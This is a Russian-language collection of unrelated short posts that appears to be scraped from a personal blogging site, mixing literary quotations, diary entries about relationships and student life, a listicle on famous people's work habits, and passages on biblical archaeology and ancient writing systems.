Куда бы я ни пришел, везде будут люди со своими драмами. Люди как вши – они забираются под кожу и остаются там. Вы чешетесь и чешетесь – до крови, но вам никогда не избавиться от этих вшей. Куда бы я ни сунулся, везде люди, делающие ералаш из своей жизни. Несчастье, тоска, грусть, мысли о самоубийстве – это сейчас у всех в крови. Катастрофы, бессмыслица, неудовлетворенность носятся в воздухе. Чешись сколько хочешь, пока не сдерешь кожу. На меня это производит бодрящее впечатление. Ни подавленности, ни разочарования – напротив, даже некоторое удовольствие. Я жажду новых аварий, новых потрясающих несчастий и чудовищных неудач. Пусть мир катится в тартарары. Пусть человечество зачешется до смерти.

генри миллер
© тропик рака

ты жила в Молдавии??? В каком городе?

Именно с наступлением темноты меня начинает поедать что-то новое, не менее темное. Каждый февраль (три подряд) для меня время жирных, диких рекурсий по поводу и без. В прошлом году это все смылось в какой-то поток нытья и любви к умершим людям, но вот в этом ностальгия. Всего лишь 2 день, а пресовать стало сильнее, чем когда-либо до этого. Я не виноват.
Сообщение коту.
Смерти во мне проснулись и рубят друг друга. Я не виноват.
Нужно скорее открыть дверь, отдушину. Решиться со способами выражения (вырождения). Я не виноват.
Посмотрю что-нибудь из Линча?

Самое важное — это навести порядок у себя в душе.

Бернард Шоу

1. Не стоит работать допоздна
Не все великие люди проводили весь свой день за работой. Например, философ Мишэль Фуко работал только с 9 до 15:00. Бетховен работал с восхода солнца и до полудня. Никто их них не высиживал даже 12 часов. Известный писатель Том Роббинс занимался своей работой не более 3 часов в день.

2. Больше отдыхайте
Даже в свои недолгие рабочие дни, великие люди очень часто отвлекались от своего занятия и устраивали себе перерыв. Сократ, например, порой мог просто остановиться по среди улицы и не двигаться в течение нескольких минут. Бетховен, как известно, каждое утро делал небольшую пробежку или просто прогуливался по аллеи. Он часто называл такое времяпрепровождение «работой во время прогулки».

3. Делайте себе длительный отдых
Все великие люди каждый день отвлекались на несколько часов от своей работы для того, чтобы дать своему мозгу немного отдохнуть и восстановить свое творческое равновесие. Бетховен принимался за работу еще на рассвете, но уже в два – три часа дня позволял себе расслабиться. Получается, что каждый день между работой у него было 14 часов. Виктор Гюго также писал свои произведения только по утрам, посвящая весь день и вечер отдыху. Черчилль никогда не принимался за работу вечером.

4. Сделайте перерыв и поешьте
Перед тем, как сесть за стол Черчилль даже принимал ванную и надевал чистую одежду. Для нас простых смертных, обед это быстрый перекус где-нибудь на лавочке в парке или прямо в офисе, после которого мы сразу же спешим занять свое рабочее место.

5. Не стоит работать в полдень
Конечно, в каждом случае есть свои исключения, однако большинство гениев никогда не работали в полдень. Например, Виктор Гюго любил после утренней работы над своими произведениями прокатиться на двухъярусном автобусе по Парижу и понаблюдать за тем, как работают, возможно, будущие герои его рассказов.

6. Разнообразьте свою жизнь
Дни великих людей были полны неожиданностей и удивительного разнообразия действий. Из этого можно сделать вывод, что, если мы хотим добиться успеха, не стоит зацикливаться на мелочах, нужно пробовать все и сразу. Даже мрачный немецкий философ, Иммануэль Кант каждый день совершал дневную прогулку или обедал вместе с друзьями. Гандхи любил днем гулять, подолгу купаться и ходить на массаж.
Днем Черчилль красил, кормил своих рыб, играл в карты и занимался делами на своей ферме Чартуэлл. Он всегда утверждал, что нашему мозгу нужен не столько отдых, сколько разнообразие.

7. Не хватайте звезд с неба
Не пытайтесь распланировать каждую минуту своего дня. Старайтесь работать по утрам или по вечерам, а день оставляйте для того, чтобы распутать некоторые скопившиеся задачи и отдыха. Распорядок дня должен быть составлен так, чтобы упростить себе жизнь, а не сделать ее еще более сложной. Когда человек постоянно ограничен какими-то временными рамками, он находится в напряжении и с трудом может сосредоточиться на своей основной задаче.

8. Найдите время для того чтобы расслабиться
Выдающиеся люди не забывают и о расслаблении. Под расслаблением понимается не просто отдых, чтобы почитать интересную книгу или помыть посуду. Нет, многие гении просто в течение дня отключали свой мозг и ни о чем не думали, давали ему так сказать перезагрузиться. Гандхи частенько по несколько минут в день смотрел вдаль на горизонт. Черчилль любил после завтрака выкурить сигару, а Бетховен во время прогулки бывало заходил в кафе, чтобы выпить бокальчик пива. Алан Гринспан признается, что днем любит выделять по нескольку часов на размышления.

9. Рано вставайте
Правда, на данную тему до сих пор ведутся дискуссии. Потому что, например, Сэмюэль Джонсон, Черчилль и Дилан Томас никогда не вставали с восходом солнца, они любили понежится в своей кровати, в то время, как Гандхи, Франклин и Мандела все вставали очень рано. Но, независимо от того, кто были великие люди жаворонки или совы, все они периодически давали своим мозгам отдых.

10. Тренируйтесь!
Эл Гор, например, каждый день в три часа прерывал работу и совершал небольшую пробежку. Эмерсон, Бетховен, Ницше, Виктор Гюго и Гандхи обязательно каждый день прогуливались на свежем воздухе. Ницше писал, что во время таких прогулок он делал заметки в блокноте, из которых потом он создавал настоящее произведение. Утренние прогулки Манделы стали просто легендарны после одного случая, когда он пригласил очень настойчивого журналиста, слишком долго добивавшегося у него интервью. Встреча была назначена на 5 часов утра. Но журналистке удалось немногое узнать у вечно бегущего Манделы, под конец встречи она так сильно запыхалась, что не смогла больше задавать вопросы.

Девушки, расскажите чем пользуетесь для роста волос :) Шампуни, маски, масла, витамины и т.п. Хочется обновить свой уход.

Прекрасно знаю, как быстротечно время.

Пропускала сегодня пешеходов - пару примерно 50 лет оба, идущих за ручку. И на мгновение в голове нарисовалась картинка, как мы с Сережкой идем точно также.

И понимаю, что в общем-то этот момент не за горами. Как бы не хотелоь удержать свои 20 лет.

Но самое страшное, что вдруг я не успею насладится в полной мере своим мужем. Ведь когда он приходит домой с работы я не отхожу от него ни на шаг. Я хочу прикасаться к нему бесконечно. Я хочу завернуться в него как в одеялко и ходить так везде.

Но мне все время его не хватает. Все время его мало. Я не понимаю, как люди умудряются пресыщаться друг другом. Мы все время вместе. Даже друзья не понимают как так можно. Но я уверена, что у него абсолютно те же чувства.

Вот и отсюда страх, что мы не успеем насладиться друг другом за всю нашу жизнь.

Остановите мгновения!

С 1.01 по 28.01 было лучшее время. Но было бы слишком подозрительно, если бы все было так хорошо всегда) Бабах - и все. Спасибо хоть на этом, теперь ждать уже нечего.

Стоило выложить фотку с намеком на провокацию в инстаграм - как тут же мне показали, как меня любят, мною дорожат и вообще по ходу хотят меня засунуть в банку и законсервировать, хранить дома и никому не показывать. Не без скандала, конечно. Но задолбал лайкать фотки баб в белье, ну. Я тоже так могу.

Инстаграм

пока легко. а как же будет больно, когда я увижу его с кем - то…

—Димон, мы любим с Дахой Маяковского

—А я Кровостоксого

Знаете за что я больше всего благодарна вьюви?

За всех людей, которых я узнала тут. За каждого из вас, кто готов помочь, кому хочется помогать и с кем приятно общаться. Спасибо вам огромнейшее за вашу поддержку, советы и такие чудесные, интересные и потрясающие посты: за картинки, цитаты, свои мысли, фандомные гифки и просто эмоциональные порывы.

Я так вас всех люблю, что превращаюсь во что-то ванильно-карамельное с тонной блесток сверху и единорогом под попкой С:

Вы ж мои дорогие: *

Більше тут не буде жодного слова про те що насправді переживає моє серце.

Даша, ищи работу. Даша, учись готовить. Даша, делай что-нибудь по дому.

Даша, съезди в ветклинику, оплати приём, возьми крышечку для катетера. Даша, позвони ветеринару. Дашу, съезди с Васей к ветеринару. Даша, поговори, чтоб деньги можно было на неделе привезти. Даша, помоги Васе дать таблетки.

Я, КОНЕЧНО, ВСЁ ПОНИМАЮ, НО… Я разваливаюсь от всего навалившегося! Я понимаю, что брат только открыл своё рекламное агенство и сейчас у него большие трудности, нет как времени, так и денег, но почему он на меня взвалил своего кота? Разумеется, я не откажу в помощи, но мне очень тяжело: искать работу, ездить на собеседования, занимать всеми делами Васи! В четверг у него какая-то важная встреча, родители на работе, Китти на курсы. Как везти Васю к вету? Китти сказал, что съездит со мной. Но.. Во-первых, у него в час курсы, первое занятие; во-вторых, Вася боится Китти! Более-менее Вася подпускает к себе папеньку и меня. Всё. Бабушка не в счёт, не ей же ехать. Я в растерянности.

Слишком тяжёлый период в нашей семье, слишком.

Некоторые вещи настолько очевидны, что не хочется об этом говорить. Но, конечно, же найдутся те, кто не хочет работать мозгами и выстраивать логическую цепочку. Бесят.

Моя жена заболела. Она постоянно нервничала из-за проблем на работе, личной жизни, своих неудач и проблемах с детьми. Она похудела на 15 кг и весила около 40, в ее 35 лет. Она осунулась, постоянно плакала и срывалась на всех и вся. Ее ничего не радовало. Постоянно болела голова, сердце и защемляло нервы в спине и ребрах. Она плохо спала, засыпала под утро, уставала и не высыпалась. Наши отношения были на грани. Ее красота стала куда-то деваться, появились мешки под глазами, она стала сутулиться и мало следить за собой. Она отказывалась от съемок в фильмах и вообще от любых ролей. Я потерял надежду и думал, что вскоре мы разведемся… Но потом я решил действовать. Ведь мне досталась самая красивая женщина из всех на земле. Она - идеал большей половины мужчин и женщин на земле, а мне позволено засыпать рядом с ней и обнимать ее плечи. я стал усыпать ее цветами, поцелуями и комплиментами. Я делал ей сюрпризы, радовал каждую минуту. Дарил подарки и жил ради нее. Говорил на людях только о ней. Все темы сводил в ее сторону. Восхвалял ее своим и нашим общим друзьям. Не поверите - она расцвела. Она стала еще лучше, чем раньше. Набрала вес, перестала нервничать и полюбила меня еще сильнее, чем раньше. Я даже не знал, что она умеет так любить. И я понял одно: женщина - это отражение мужчины. Если любить ее до безумства, она станет им.

Мне тяжело с вами… У вас нет чувства ответственности за свои слова, обещания и поступки. Я приучена к тому, что когда человек что-то говорит или делает, он в любом случае обязан держать ответ, а вы же при первом спросе отказываетесь от всего и лишь в удобных обстоятельствах идете до конца. На вас тяжело рассчитывать.

Как же плохо…..

Всем привет, всегда хотела завести свой блог.Нашла подходящий для меня сайт.Буду делиться своими мыслями, изливать душу вам, так как некому.. Жаль, что нет такого приложения. Принимайте меня в свое уютное местечко

Книга Царей вовсе не упоминает участие израильских монархов в сражениях против ассирийцев в дни дома Омри, а также уплату царями Израиля вассальной дани Ассирии на протяжении IX века до н.э. Несмотря на важную роль Ассирии на сирийско-израильской политической арене в IX первой половине VIII века до н.э. первое упоминание Ассирии в книге Царей приходится на рассказ об уплате дани Менахемом Пулу (Тиглатпаласар III) в 740 году до н.э. (1 Цар. 15:19-20), примерно за 20 лет до того, как Израильское царство прекратило свое существование. Более того, в книге Царей нет и намека на подати, которые платили цари Израиля другим правителям, начиная со второй половины X века и до начала VIII века до н.э., но налоги и подати, которые платили цари Иудеи в этот же период, описаны детально.

Никогда не надо терпеть моральное и физическое унижение только ради того, чтобы избежать горечь расставания и одиночества.

Как известно, на древнем Ближнем Востоке существовало несколько типов письменности: месопотамская клинопись с ее местными вариантами, египетская иероглифика (с ее продолжением — иератикой и демотикой), сиро-палестинское алфавитное письмо (западно-семитское алфавитное письмо, в том числе два вида древнееврейского письма, а также и другие ответвления, в том числе «гибридные» — угаритская псевдоклинопись, древнеиранское псевдоклинописное письмо), а также лувийская иероглифика. Самым древним из них является клинопись (она была заимствована для ряда других языков, а псевдоклинописные письменности воспроизводят ее внешнюю форму, технику письма и писчий материал). К египетской письменности восходят, видимо, западно-семитское письмо и его бесчисленные потомки (оно является предком почти всех алфавитных письменностей). Все связанные с этим истории захватывающе интересны, но главная проблема, на мой взгляд, — это проблема возможного родства между месопотамской клинописью и египетской иероглификой. Чем старше образцы этих двух письменностей, тем больше они похожи. Конечно, похожи все рисуночные письменности, но здесь мы видим стилистическое сходство и, что еще важнее, практически одинаковые методы стандартизации рисунка. Возможно, что в самом начале степень сходства была еще большей. Ведь даже самые ранние известные нам месопотамские документы уже написаны сильно стандартизированным письмом, что, видимо, свидетельствует о его уже тогда длительной жизни, но, может быть, на другом материале, не выдержавшем здешнего климата. Наконец, необходимо отметить, что внутренняя структура этих двух письменностей практически одинакова: каждый знак может быть идеограммой, т. е. передавать смысл, либо он может быть фонетическим (слоговым) знаком, либо, наконец, детерминативом (указывать на класс понятия). Различия же внешнего вида знаков и правил орфографии объясняются различиями языков (в египетском можно не выписывать гласные, в шумерском обойтись без них невозможно), писчих материалов (глина и папирус) и, соответственно, самой техники письма. Хочу сразу же ответить на напрашивающееся возражение: самые ранние сведения о месопотамско-египетских контактах относятся к XIV веке до н.э., но выглядят эти сведения так, будто контакты были всегда.

В последние годы археология, как и многие другие отрасли научного знания, превращается в науку со своими методами исследования и внутренними отраслями, требующими узкой специализации и высокой квалификации. Расширение поля деятельности, обширная специальная литература и узкая специализация послужили причиной тому, что многие археологи последнего поколения, занимающиеся библейским периодом, погрузились в сугубо археологические исследования и отдалились от исторических толкований. Произошли конструктивные изменения в выборе целей археологических исследований и в интерпретации находок. Наряду с широкомасштабными раскопками центральных памятников развивался и ландшафтный подход, цели которого — изучение процессов заселения, расположение поселений, демографических и социальных процессов. Это требует проведения многочисленных археологических разведок, раскопок небольших памятников (например, сельских поселений и усадеб), исследования пограничных зон (пустынь и лесистых и горных районов) и анализа полученных данных с использованием передовых научных методов.

НУ ШЕРЕГЕШ БЛЯ ПРОСТО ОХУЕТЬ А

ооо, мы едем в Шерегеш
просто это моя первая поездка туда, да еще и с друзьями со своими

БЛЯТЬ прям простооооо дождаться не могу а
в общем, мне уже пора выходить

Когда я думаю о том, что он ушел, ушел вероятно, навсегда, передо мной разверзается пропасть и я падаю, падаю без конца в бездонное черное пространство. Это хуже, чем слезы, глубже, чем сожаление и боль горя; это та пропасть, в которую был низвергнут сатана. Оттуда нет надежды выбраться, там нет ни луча света, ни звука человеческого голоса, ни прикосновения человеческой руки.

2 вопроса, после которых хочется убивать:
— когда замуж?
— работаешь?

А после свадьбы, мы будем жить долго и счастливо. У нас с тобой будет отдельный дом, в котором будет царить гармония. Я буду ждать тебя с работы уставшего и голодного и сделаю все, чтобы в нашем доме ты чувствовал себя по-настоящему уютно. Я буду наблюдать, как ты кушаешь то, что я готовила только ради тебя. А потом ты тихо подойдёшь ко мне, обнимаешь и скажешь, что любишь меня больше всего на свете. Через некоторое время, у нас появится малыш. Мальчик. Мы будем любить его, воспитывать, чтоб он вырос настоящим мужчиной. Мы будем вместе гулять, развлекаться и никого не будет счастливей нас. В мае месяце я признаюсь тебе, что у нас будет ещё один малыш. Девочка. Маленькая принцесса. Она будет радовать нас своими успехами. Все мальчики будут ухаживать за ней, а мы будем знать, что она под надежной защитой своего старшего брата. Моя принцесса будет беситься, что он ей ничего не разрешает.
А я буду знать все её секреты, которые она хранит в каждом уголке своего сердца. Мы будем заботиться о них. Ведь дети-важнее всего. Мы ещё добьёмся своего. Ведь у нас есть главное- любовь.
Аминь.

пропадают люди на час. а бывает на месяц… на годы. не зависит это от нас - глупых стрелок часов хороводы. что поделать с застывшей минутой? разморозить её как, скажите? укрывайте любимых заботой, иль совсем никогда не любите!

Окей, спустя кучу времени я решила вновь вернуться сюда и продолжить вести свой жалкий блог. Причиной моего возвращения является то, что я вдруг осознала большую важность блога - он является своеобразным дневником, в котором можно делать все, что угодно.

Я вела рукописные дневники пару раз в своей жизни. И один из таких дневников я заполнила до конца, но желания перечитывать его у меня нет совсем, потому что тогда были отвратительные времена в моей жизни. Но если так подумать, то через десять лет, когда я его перечитаю, я просто подумаю: "Как же это все не важно. Это абсолютная глупость и не было смысла переживать из-за такого".

Я считаю, что вести дневники надо, в любой форме: рукописной, в форме блога, в форме фотографий или видео, потому что с помощью дневника вы всегда сможете вернуться в прошлое, проанализировать себя и свои поступки, подумать о том, каким же кретином вы были, когда делали так и что нужно делать по другому. Нет смысла бояться вести его, потому что с каждым годом люди меняются, а узнать каким ты был пять лет назад может помочь только дневник.

Путь - это момент, когда переворачивается страница. Прежнего текста уже не видно, лишь память его держит, у кого лучше, у кого хуже; а новый еще не открылся. И возврата нет, ибо даже если отлистнуть страницу назад и перечесть ее сызнова - разве это то же самое, что читать впервые, не подозревая, что принесет следующее слово, следующая фраза? Нет сил сопротивляться иногда, и отлистываешь жизнь назад, вопреки рассудку пытаясь поймать то чувство, с которым читал впервые, пытаешься догнать его, стремительно падающее в давно пересохший колодец прошлого - но догоняешь лишь нынешнее чувство о том чувстве, не более. Пытаешься воскресить ощущение - но ощущаешь лишь невозможность его воскресить.

Больше всего ненавижу в людях излишнюю уверенность, нет, не в себе, т.к. это очень даже неплохо, а уверенность в каких-либо убеждениях + нежелание принимать свою неправоту.

Я терпеть не могу слышать от людей (девушки/молодные люди) фразы типа "все вы, бабы/мужики, одинаковые" или какую-то хрень вроде "я смотрю, вам всем только и нужно, что побольше денег и нихрена не делать" и что-то ещё подобного плана.
Да что ты, бл%ть, можешь сказать обо мне, кусок собачьего д%рьма?! И ты понял, что мы "все одинаковые", лишь пообщавшись со мной 10-15 минут? Да ты прям экстрасенс!
Очень уж нравится, когда на тебя смотрит маменькин сынок и говорит в лицо "да я зарабатываю больше"… Да я, бл%ть, работаю дольше, да и работаю в общем!

Н И К О Г Д А, слышите? Н И К О Г Д А не судите человека, если не знаете его.

А то ведь кто-то может приехать верхом на лошади и настучать по кочану.

"Идиот"

"… люблю я ее ужасно и писать буду с наслаждением и тревогой".

Честно говоря, это оправдало вообще все, все, на что я надеялась и о чем думала, откладывая эту книгу для прочтения и открывая ее впервые.

На улице -12. А я мёрзну. Мёрзнут ноги, руки, я внутри мёрзну. Не понимаю. Почему? Я ведь родилась в Сибири. Почему я так сильно мёрзну?!

10 «подслушанных» историй об отношениях глазами женщины.

Каждая история о любви неповторима и удивительна . Более того, люди, находящиеся в отношениях, на любую ситуацию смотрят под своим углом. На этот раз, я собрала забавные, теплые и искренние женские истории. Хотелось бы и Вам пожелать простого женского счастья, как бы глупо и банально это не звучало. Девчат, все мы хотим любить и быть любимыми. Знайте, мы достойны этого.

Парень сделал предложение. Подарил кольцо, не зная моего размера. Когда спросила, как он выбирал колечко, ответил, что представлял мою ладонь и вспоминал ощущения, когда мы держимся за руки. Кольцо подошло идеально.

Врач запретил мне спать на животе. Зная, что это моя самая любимая поза во время сна, я попросила мужа переворачивать меня на бок или спину, если проснется и увидит, что я сплю на животе. Сегодня ночью он несколько раз сквозь сон проверял, как я лежу, а потом еще и спросил.

С мужем 8 лет вместе, бывает, что ругаемся и ссоримся. Но на днях, проверяя банковские документы, увидела, что в графе «секретное слово» указано мое ласковое домашнее прозвище.

Поняла, что правильно вышла замуж, когда мы с супругом оба болели. Несмотря на высокую температуру и холод за окном, он все равно ходил в аптеку за лекарствами, готовил мне бульон и укутывал пледом. Никакие дорогие подарки не сказали бы мне больше.

Муж встает на работу раньше меня и старается не разбудить. Но каждый день, просыпаясь, вижу от него сообщение: «Доброе утро, солнышко!» Это придает сил больше, чем самый крепкий кофе.

Будучи в браке несколько лет, я решила освежить чувства и устроить мужу романтический вечер. Ничего ему не говоря, ушла в магазин за шампанским, фруктами и свечами. Когда я вернулась, оказалось, что супруг тоже решил устроить сюрприз и накрыл стол, зажег свечки и даже посуду помыл.

У меня есть друг, и дружба у нас была просто нереальная. Со временем я поняла, что влюбилась, но предложить встречаться мне не хватало духу. Мы начали реже видеться, а во время встреч становилось неловко. Ситуация все ухудшалась, дружба начала как будто затухать. И вот однажды мы сидим на скамейке в парке и он говорит: «Выходи за меня».

Недавно супруг пересказал свой разговор с другом, который жаловался на проблемы со своей девушкой. Совет моего мужа был таким: надо перестать думать о расставании, и тогда то, из-за чего произошла ссора, покажется не таким уж и важным. Ведь, когда ты собираешься прожить с человеком всю жизнь, многие вопросы приобретают мелочный характер. Вот он, оказывается, секрет семейного счастья.

Когда встречалась со своим будущим мужем, я резко поправилась на фоне интенсивного гормонального лечения. Но он не бросил меня, более того, сделал предложение. Каждый день муж говорил мне, что я самая прекрасная девушка на свете. Однажды, когда проблемы со здоровьем уже остались в прошлом и я скинула лишний вес, мы пересматривали свадебные фото. Разглядывая снимки, муж вдруг произнес: «Любимая, ты, оказывается, такая пухленькая была, а я и не замечал, хотя эти чудесные щечки я помню».

Узнав, что не смогу завести детей, я вернулась домой и заперлась в ванной, чтобы нарыдаться. Мой возлюбленный был в тот момент на работе, поэтому я по рассеянности оставила все результаты на столике и совсем забыла про них. Пришла в себя, когда неожиданно вернувшийся любимый постучал в дверь со словами: «Милая, мы это переживем, я же люблю тебя». Спустя некоторое время мы поженились и усыновили ребенка. А через год я забеременела сама. Вот как лечит настоящая любовь!

Если постоянно быть хорошими и кроткими с теми, кто жесток и несправедлив, дурные люди начнут всегда добиваться своего, потеряют всякий страх и поэтому не только не станут меняться к лучшему, а, наоборот, будут делаться все хуже и хуже. Если нам наносят удар без малейшей причины, мы должны отвечать самым сильным ударом, на какой способны. Я в этом убеждена: таким сильным, чтобы тот, кто нас ударил первым, навсегда закаялся поднимать на нас руку.

Шарлотта Бронте

У нас вернулась зима. За ночь выпало сантиметров 10. Я уж было обрадовалась, что всё таять начало, что скоро потеплеет, и проклюнется асфальт и +10 к сцеплению будет, ага, щаз. Как хорошо, что в такую погоду сижу дома. А то все сапоги в гавно уже из-за этой грязи и слякоти.

Вчера сон страшный приснился, вскочила и хотела его обнять, а на его месте пусто - на работу ж ушёл. Так и не уснула больше… Весь день как муха и раздраженная. Перед сном немного поссорились. Никогда не думала что моё 2-х минутное действие "поставить на телефоне будильник и прочитать вайбер" вызовут у него такое негодование. Говорит что настроился на секс, а я тут отвлекаюсь. А то, что я ждала пока он все свои дела закончит и ляжет в кровать, это не считается. Какие ранимые мужчины однако пошли…

Ну а пока, всё хорошо.

Прослушать или скачать Tired Pony Pieces бесплатно на Простоплеер

Tired Pony – Pieces (послушать можно в блоге)

Немного лирики
Не знаю почему, но эти песни у меня ассоциируются с детством (лет 11-13) и родным городом. Кажется, я их слушала вечером, когда возвращалась из художки. Они на меня произвели сильное впечатление в том возрасте, оставили глубокий отпечаток. Именно поэтому в ассоциации обязательно присутствует ночной город, пустынные улицы и тусклый свет фонарей.
И всегда, когда я слышу их, я вспоминаю эту картину, а когда чувствую подобную атмосферу, то в голове играет эта музыка. Это так странно, кажется, что есть еще какое-то воспоминание, связанное с этими песнями, но я так никогда не могу вспомнить какое, как ни стараюсь. Как будто сон, который не можешь вспомнить на утро или чувство дежавю.

За день до учебы поймала себя на мысли, что хочу в универ. И вот, спустя 2 учебных дня я понимаю, что мне показалось - этого уж я точно не хочу. Хочу пить вкусный чай, кушать вкусняшку и в обнимку с любимым смотреть сериальчики. А еще кота хочу. Хотя бы на передержку взять..

Со своим смотрим "Звездные войны" по одному эпизоду в день (кто-то пересматривает, а кто-то я слоупок)

Хочется найти какую-нибудь подработку. Наткнулась на днях на объявление, где в книжный магазин требовался продавец-консультант. Я так загорелась этой мыслю, а оказалось, что эта работа на полный день.. Обидно даже стало. Если бы не учеба..эх (Юля вот счастливый человек, а моя мечта пока так и остается мечтой.

Девчата, тут такой вопрос, что будете дарить своим половинкам на 14 февраля?) Делитесь: 3

С утра пыталась отойти от пятницы, а потом пошла туда, где пришлось отходить от субботы.

Наверное только в общагах есть такое: сначала флиртовали/целовались/перспали, а потом стали общаться как ни в чем ни бывало, и даже дружить. Или это просто я именно в общежитии заметила такое.
Ко мне много раз пытался приставать парень один с 4 курса, когда в это же время у него была девушка и они вместе были уже не один год. Тогда я ловко ушла от этой ситуации, но все же это не приятно. И вот сейчас на кухне я мило беседовала с ним и с его дамой. И сколько таких историй помимо моей. Треш какой-то.
Минусы жизни здесь - это не тараканы, душ на этаже или туалет общий. Это ерунда и к этому привыкаешь. Главный минус - это то, что все живут рядом и вся твоя личная жизнь проходит на глазах десятков людей. Сложно что-то скрыть - сразу все становится достоянием общественности. Такова уж человеческая натура.
И возвращаясь к моей истории. Неужели ему не страшно, что все его похождения вскроются? (не говоря уже о муках совести и т.д.) Я конечно болтать не собиралась, но я уверена, что я не первая и не последняя.

Когда-то меня очень заинтересовала эта история, я перелопатила тонну страниц о возможных причинах гибели группы, читала всемозможные догадки об обычной снежной лавине и заканчивая странностями, в виде прилета НЛО.

Но потом вышел фильм "Тайна перевала Дятлова".

Я посмотрела и ужаснулась. Настолько провалить фильм с такой интересной историей просто не представлялось возможным. Но создатели это сделали.

Никогда, пожалуйста, никогда не смотрите этот треш, лучше гляньте пару документалок.

очень жаль Фиону. всё, за что она боролась на протяжении 5 сезонов, развалилось. мелкие Галлагеры - неблагодарные говнюки.

а Фиона сама до сих пор ребенок. недолюбленный и необласканный. и дома её некому ждать.

Ой, как я люблю этих котов - Джим и Пэм ♥ Они такие милые, просто до невероятия. Так и хочется столкнуть их лбами, типо ну вот же, вы должны быть вместе! А сейчас в 3-м сезоне Джим еще и в другом офисе..:(

Я тут восстановила в памяти слова, сказанные им в субботу, пока он извинялся за тупую шутку.

"Как ты думаешь, хотел бы я просыпаться с тобой каждое утро и проводить все свободное время, все выходные, если бы у меня к тебе ничего не было?"

Ну как бы да, глупо было думать, будто он ко мне ничего не испытывает. Да и вряд ли он так уж теперь привязан к бывшей. Он очень раним, на самом деле. Это все замечают и говорят. Даже в комментах под постом с перепиской кто-то написал, что он как девочка. А я такая же. Если тебе нанесли рану в сердце. Причем довольно подло, то это нелегко забыть. И нелегко начать снова доверять.

Маша предложила поставить себя на его место. Если бы я только-только рассталась с Женей, а он уже полгода был бы один, мы вели бы себя наоборот. Помните, я рассказывала про очень хорошего парня, которому я нравилась. Так вот. У нас с ним ничего серьезного не было, даже не целовались ни разу. Но я все время вспоминала Женю, хоть он и был козлом, а Юра намного лучше! Даже не лучше, он просто замечательный. И мы расстались, потому что он устал ждать. А так, наверное, я была бы с ним, если бы он дал мне время. Мы с ним тоже где-то месяц гуляли. Но мы просто гуляли, ибо Юра мне больше как друг нравился. Я даже не представляла, что буду его целовать или что-то большее.

Не то, чтобы с Ильей история такая же, у нас с ним все серьезнее намного. И не по моей инициативе. Я думаю, ему просто нужно время. Так же, как нужно было время мне. А все эти фишки с мгновенными бросаниями и разборками - не прокатят. Если я буду на него давить, он изчезнет. И это говорили мне его друзья, которые всецело за наши отношения. А сейчас он не пропадает, даже наоборот - стоит планы на будущее, в которых есть я. Он даже своему другу, который сейчас в армии, отправлял фото со мной, мол, я тут с Аней.

И да, он про свои чувства к бывшей говорил мне числа восьмого. Уже довольно много времени прошло и с тех пор мы с ним о ней не говорили. Я завелась просто потому что увидела, насколько я отличаюсь от нее и потому что он вчера опять истерику устроил на ровном месте. А не потому что у нас все плохо. По моим постам видно, что хорошо. Что он заботлив, мил, добр, нежен и все такое. И хочет быть со мной, это даже ежу понятно. Просто для него "встречаться" - это нечто большее, чем то, что у нас есть пока. Не знаю, что именно, но, наверное, я потом пойму. И да, я перегнула. Менять он меня не собирается, так как понравилась я ему такой, какая я есть. Скорее, он во мне открыл какую-то девичью сторону, которая плачет, слушается иногда своего парня, умиляется ему и все такое.

И он понимает, что я лучше. Он это говорит постоянно. Постоянно говорит о том, что я другая, что он хочет, чтобы я была рядом. И действиями это подтверждает. Так что, зря я так. Пожалуй, удалю тот пост. Оба поста.

Стало казаться, что старых слов недостаточно, чтобы описать то упоение счастьем, которое испытываю в соместной с ним жизни, отсюда и редкость моих постов здесь. Я как футурист хочу пользоваться незастывшим языком, развивая слово до того беспредельного, до которого взлетают наши чувства каждый день, но я, увы, не поэт. Боюсь, получится несуразица.

***

Больших твоих рук во власти

Себе представляю сном,

Как всё в жизни счастье Насти

Вдруг стало твоим лицом.

Перед сессией у нас возникли проблемы со старостой.
Саша очень своеобразная девушка, хороший человек, добрый, отзывчивый, но немного пафосный и со своими обязанностями не справлялась. Точнее не хотела справляться. Ведомостей на зачеты и курсовые у нас стабильно не было. Информацию со старостата я узнавала от своей соседки, благо она тоже староста. Ну и доносила, собственно, до сведения группы тоже я.
В один прекрасный день, когда все пришли в универ с целью поставить курсач в зачетку, обнаружилось, что Саша не заказала ведомость. Тут-то мы против нее все настроились и пошли в деканат с претензиями. Захотели поменять ее на другую девочку, Аню, которая писала все домашние по всем дисциплинам, скидывала темы рефератов и дополнительную литературу, постоянно напоминала о важных событиях в беседе нашей группы, в общем, выполняла обязанности старосты. И ничего, кроме "спасибо", за это не получала.
Мы рассказали все нашей зам.декана Олесе, она так на нас посмотрела и сказала писать заявление, собирать подписи, после нг она будет документы переделывать.
Саша устроила истерику, но мы имели претензии не конкретно к ней, а к неисполнению обязанностей. Не знаю, что уж там у нее в голове происходило, но она начала говорить за спиной группы всякие мерзости, типа мы стадо и т.д. Потом пыталась перевестись в другую группу, сказала, что не сможет с "этими" учиться.
Все улеглось, Аня потихоньку начала вливаться, но тут у нее появляются проблемы со здоровьем и ей приходится лечь в больницу. Она приходит к Олесе, объясняет все, просит, чтобы ее временно заменила Саша, что она не против. И Олеся начинает на нее орать… Типа мы ее достали, ей теперь все переделывать, какого черта тогда изначально меняли старосту… Я так подумала: а разве человек знает наперед, когда с ним произойдет неприятность? Тем более причина веская, Аня не просто так от обязанностей уходит.
Я расстроилась, потому что Аня очень хорошая девочка и очень ответственная. А Олеся слишком много на себя берет. Сегодня у нас с ней собрание по поводу танцев, я даже идти не хочу. Помню, как она на экзамене меня валила, я еле на 4 наскребла, а потом говорит: "выступи 17 февраля". Хер тебе, сама танцуй!
Еще я переживаю за объективность Саши. Она теперь староста, хоть и временно, вдруг будет энки специально ставить… Короче, паранойя))
Вот такой у нас "дружный" факультет ГМУ.

Сегодня полтора года нашим отношениям. Ни кто не придает этому значение. Если честно, хотелось бы услышать что- то имеющее смысл, приятное. Я не желаю букетов с цветами или подарки, но действия и слова были бы лучшим. - Настя, мы с тобой хоть и ссоримся, но я так рад, что ты у меня есть и мы вместе! Я в последнее время стараюсь мало чему придавать значение, отгонять плохие мысли и тешить себя тем, что все к лучшему. Правильно ли?

